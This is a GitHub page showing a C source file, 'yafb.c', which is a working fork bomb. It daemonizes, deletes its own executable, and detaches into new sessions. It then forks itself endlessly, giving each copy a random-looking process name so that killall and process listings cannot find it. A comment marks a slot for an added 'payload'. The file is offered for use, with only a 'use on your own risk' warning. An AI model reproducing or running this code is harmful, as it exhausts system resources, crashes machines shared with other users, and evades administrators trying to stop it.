-
Notifications
You must be signed in to change notification settings - Fork 1
/
yafb.c
110 lines (91 loc) · 2.75 KB
/
yafb.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
/*
*
* USE ON YOUR OWN RISK!
*
*
* cc -Wall -Wextra -std=c89 -o superbomb yafb.c
* shell> ./superbomb
*/
#if defined(__linux__)
#include <sys/prctl.h>
#endif
#if defined(BSD)
#include <sys/types.h>
#endif
#include <limits.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <err.h>
/* amount of forks created before the parent exited */
#define MAXFORKS 4
int
main (int argc, char *argv[])
{
char executable[PATH_MAX];
char temp[16];
pid_t cpid;
int len, nlen;
int count = MAXFORKS;
int i, k;
char *p;
struct timespec wtime, ptime;
/* child fork sleep time */
wtime.tv_sec = 0;
wtime.tv_nsec = 1000000; /* 1 msec */
/* payload sleep time */
ptime.tv_sec = 0;
ptime.tv_nsec = 50000000; /* 50 msec */
while ((cpid = fork ()) == -1)
sleep (1);
if (cpid > 0)
exit (EXIT_SUCCESS); /* daemonize */
len = strlen (argv[0]);
strncpy (executable, argv[0], len);
unlink (executable); /* killall(1) looks for /proc/[pid]/exe */
if (chdir ("/") < 0)
err (1, "chdir");
while (count--) {
while ((cpid = fork ()) == -1)
nanosleep (&wtime, NULL);
/* parent process continues cloning itself */
if (cpid > 0) {
if (count == 0)
exit (EXIT_SUCCESS); /* stop parent */
else
continue;
}
setsid ();
if ((p = malloc (sizeof(char))) == NULL)
exit (EXIT_FAILURE);
sprintf (temp, "%lx", (long unsigned int)p);
nlen = strlen (temp) - MAXFORKS;
free (p); /* prevent cow "hacks" */
char next[256];
for (i = 0, k = count; i < len; i++, k++) {
if (k >= nlen)
k = 0;
next[i] = temp[k];
}
next[i] = '\0';
#if defined(__linux__)
/* /proc/[pid]/cmdline */
strncpy (argv[0], next, len);
/* /proc/[pid]/comm */
prctl (PR_SET_NAME, (unsigned long)next, 0, 0, 0);
#elif defined(__FreeBSD__)
setproctitle ("%s", next);
#else
strncpy (argv[0], next, len); /* cmdline */
#endif
/*
* payload: put your stuff
*/
if (count == 0) /*pause ();*/
count = MAXFORKS;
nanosleep (&ptime, NULL);
}
return 0;
}